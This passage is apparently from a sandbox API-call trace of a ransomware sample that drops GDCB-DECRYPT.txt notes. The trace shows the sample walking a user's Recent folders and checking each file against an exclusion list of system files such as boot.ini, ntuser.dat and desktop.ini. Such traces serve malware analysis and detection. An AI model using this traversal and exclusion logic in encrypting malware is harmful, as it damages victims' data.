param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\5d696d521de238c3.customDestinations-ms") returned 120 [0135.755] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\5d696d521de238c3.customDestinations-ms") returned 120 [0135.755] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms") returned 120 [0135.755] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms") returned 120 [0135.755] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\969252ce11249fdd.customDestinations-ms") returned 120 [0135.755] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\969252ce11249fdd.customDestinations-ms") returned 120 [0135.755] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\f01b4d95cf55d32a.customDestinations-ms") returned 120 [0135.755] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\f01b4d95cf55d32a.customDestinations-ms") returned 120 [0135.756] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\GDCB-DECRYPT.txt") returned 98 [0135.756] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\GDCB-DECRYPT.txt") returned 98 [0135.756] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\GDCB-DECRYPT.txt") returned 98 [0135.756] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\GDCB-DECRYPT.txt") returned 98 [0135.756] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.756] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.756] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.756] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.756] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.756] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.756] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.756] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.756] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.756] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CztjLRmT.lnk") returned 75 [0135.756] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CztjLRmT.lnk") returned 75 [0135.756] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini") returned 74 [0135.756] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini") returned 74 [0135.756] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini") returned 74 [0135.756] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini") returned 74 [0135.756] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0 [0135.756] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dWY3im-Jv_.lnk") returned 77 [0135.756] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dWY3im-Jv_.lnk") returned 77 [0135.756] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\E3nwHKKhrNc.lnk") returned 78 [0135.757] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\E3nwHKKhrNc.lnk") returned 78 [0135.757] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\e8jkSa.lnk") returned 73 [0135.757] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\e8jkSa.lnk") returned 73 [0135.757] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ea9JJ.lnk") returned 72 [0135.757] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ea9JJ.lnk") returned 72 [0135.757] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ExocxBlrLmuRHv.lnk") returned 81 [0135.757] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ExocxBlrLmuRHv.lnk") returned 81 [0135.757] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FaqWpPUQVtLKuYdk9BQ4.lnk") returned 87 [0135.757] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FaqWpPUQVtLKuYdk9BQ4.lnk") returned 87 [0135.757] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FfJVg4ausPebvr1q.lnk") returned 83 [0135.757] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FfJVg4ausPebvr1q.lnk") returned 83 [0135.757] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fh_ElomWjB6mGEzzsu.lnk") returned 85 [0135.757] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fh_ElomWjB6mGEzzsu.lnk") returned 85 [0135.757] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fNbs43ibSVs.lnk") returned 78 [0135.757] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fNbs43ibSVs.lnk") returned 78 [0135.757] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FtUF9T.lnk") returned 73 [0135.757] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FtUF9T.lnk") returned 73 [0135.757] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GDCB-DECRYPT.txt") returned 79 [0135.757] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GDCB-DECRYPT.txt") returned 79 [0135.757] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GDCB-DECRYPT.txt") returned 79 [0135.757] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GDCB-DECRYPT.txt") returned 79 [0135.757] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.757] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.757] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.758] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.758] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.758] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.758] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.758] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.758] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.758] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gKHCm2fwtZ_xFQId52k.lnk") returned 86 [0135.758] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gKHCm2fwtZ_xFQId52k.lnk") returned 86 [0135.758] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GlwDigP8Jjnd5uC g.flv.lnk") returned 88 [0135.758] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GlwDigP8Jjnd5uC g.flv.lnk") returned 88 [0135.758] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gqOFi.lnk") returned 72 [0135.758] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gqOFi.lnk") returned 72 [0135.758] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HijnMp4jD.lnk") returned 76 [0135.758] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HijnMp4jD.lnk") returned 76 [0135.758] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HkP-y.lnk") returned 72 [0135.758] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HkP-y.lnk") returned 72 [0135.758] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HK_SRBXCNwo6hKv3Yib.lnk") returned 86 [0135.758] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HK_SRBXCNwo6hKv3Yib.lnk") returned 86 [0135.758] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i25MLe9kC22ViMDQq.lnk") returned 84 [0135.758] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i25MLe9kC22ViMDQq.lnk") returned 84 [0135.758] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ig6hjLi-OP4x R.lnk") returned 81 [0135.758] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ig6hjLi-OP4x R.lnk") returned 81 [0135.758] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\imbMbOER.lnk") returned 75 [0135.758] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\imbMbOER.lnk") returned 75 [0135.758] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jdhLD2CDd5WY7.lnk") returned 80 [0135.759] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jdhLD2CDd5WY7.lnk") returned 80 [0135.759] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jMUwXrx_DL.lnk") returned 77 [0135.759] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jMUwXrx_DL.lnk") returned 77 [0135.759] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JOfdh4o6jslX.lnk") returned 79 [0135.759] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JOfdh4o6jslX.lnk") returned 79 [0135.759] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jxoh-EFt2nW-t9X.lnk") returned 82 [0135.759] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jxoh-EFt2nW-t9X.lnk") returned 82 [0135.759] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jyOHRPQ6E1yOr.lnk") returned 80 [0135.759] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jyOHRPQ6E1yOr.lnk") returned 80 [0135.759] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kSYHI_Wa9bfsyy-Z.lnk") returned 83 [0135.759] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kSYHI_Wa9bfsyy-Z.lnk") returned 83 [0135.759] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KtCdK3LGr9KL.lnk") returned 79 [0135.759] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KtCdK3LGr9KL.lnk") returned 79 [0135.759] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ku4nJ2ON.lnk") returned 75 [0135.759] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ku4nJ2ON.lnk") returned 75 [0135.759] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kvL5uOocTiCI S__fRu.lnk") returned 86 [0135.759] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kvL5uOocTiCI S__fRu.lnk") returned 86 [0135.759] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ldeazaydq H9.lnk") returned 79 [0135.759] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ldeazaydq H9.lnk") returned 79 [0135.759] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lmzNuu.lnk") returned 73 [0135.760] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lmzNuu.lnk") returned 73 [0135.760] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LsUd7T_9uN5u1inV_P.lnk") returned 85 [0135.760] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LsUd7T_9uN5u1inV_P.lnk") returned 85 [0135.760] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lxRXkBM2nNswBBWWBk42.lnk") returned 87 [0135.760] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lxRXkBM2nNswBBWWBk42.lnk") returned 87 [0135.760] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l_9IL425VzhWVYOQGgg3.ots.lnk") returned 91 [0135.760] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l_9IL425VzhWVYOQGgg3.ots.lnk") returned 91 [0135.760] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\L_GiUm.lnk") returned 73 [0135.760] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\L_GiUm.lnk") returned 73 [0135.760] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m mArdoH QZh2LspL.lnk") returned 84 [0135.760] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m mArdoH QZh2LspL.lnk") returned 84 [0135.760] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\M VM-W8ibnNtUjYzZy1.lnk") returned 86 [0135.760] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\M VM-W8ibnNtUjYzZy1.lnk") returned 86 [0135.760] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\M53SLY.lnk") returned 73 [0135.760] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\M53SLY.lnk") returned 73 [0135.760] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mj7J-R46l5.lnk") returned 77 [0135.760] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mj7J-R46l5.lnk") returned 77 [0135.760] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MMSANU.lnk") returned 73 [0135.760] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MMSANU.lnk") returned 73 [0135.760] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Music.lnk") returned 72 [0135.760] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Music.lnk") returned 72 [0135.760] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mxHA9QwX60.lnk") returned 77 [0135.761] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mxHA9QwX60.lnk") returned 77 [0135.761] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\niXUM m_uKc.lnk") returned 78 [0135.761] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\niXUM m_uKc.lnk") returned 78 [0135.761] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OGnlmvN61P.lnk") returned 77 [0135.761] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OGnlmvN61P.lnk") returned 77 [0135.761] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OOwKqpIl7aYSv RTHK.lnk") returned 85 [0135.761] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OOwKqpIl7aYSv RTHK.lnk") returned 85 [0135.761] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ORNdnmfJCdFA1es0enx.flv.lnk") returned 90 [0135.761] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ORNdnmfJCdFA1es0enx.flv.lnk") returned 90 [0135.761] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OukrMDnEpoe.lnk") returned 78 [0135.761] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OukrMDnEpoe.lnk") returned 78 [0135.761] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oWXZt UxeIOr.lnk") returned 79 [0135.761] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oWXZt UxeIOr.lnk") returned 79 [0135.761] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pCAr B4s-Dnk.lnk") returned 79 [0135.761] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pCAr B4s-Dnk.lnk") returned 79 [0135.761] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pG1qS.lnk") returned 72 [0135.761] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pG1qS.lnk") returned 72 [0135.761] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Pictures.lnk") returned 75 [0135.761] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Pictures.lnk") returned 75 [0135.761] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PP7PZiVZnjg.lnk") returned 78 [0135.761] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PP7PZiVZnjg.lnk") returned 78 [0135.761] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ppRS2.lnk") returned 72 [0135.762] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ppRS2.lnk") returned 72 [0135.762] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ppTk R5o9qfrpMwcdZ.lnk") returned 85 [0135.762] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ppTk R5o9qfrpMwcdZ.lnk") returned 85 [0135.762] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\py_6.lnk") returned 71 [0135.762] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\py_6.lnk") returned 71 [0135.762] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qVfwJx7xAD.lnk") returned 77 [0135.762] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qVfwJx7xAD.lnk") returned 77 [0135.762] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\R8M4R8KAn1bTR.lnk") returned 80 [0135.762] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\R8M4R8KAn1bTR.lnk") returned 80 [0135.762] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rHf-1nu.lnk") returned 74 [0135.762] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rHf-1nu.lnk") returned 74 [0135.762] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk") returned 74 [0135.762] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk") returned 74 [0135.762] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RorB-_IDA6hQ.lnk") returned 79 [0135.762] lstrlenW 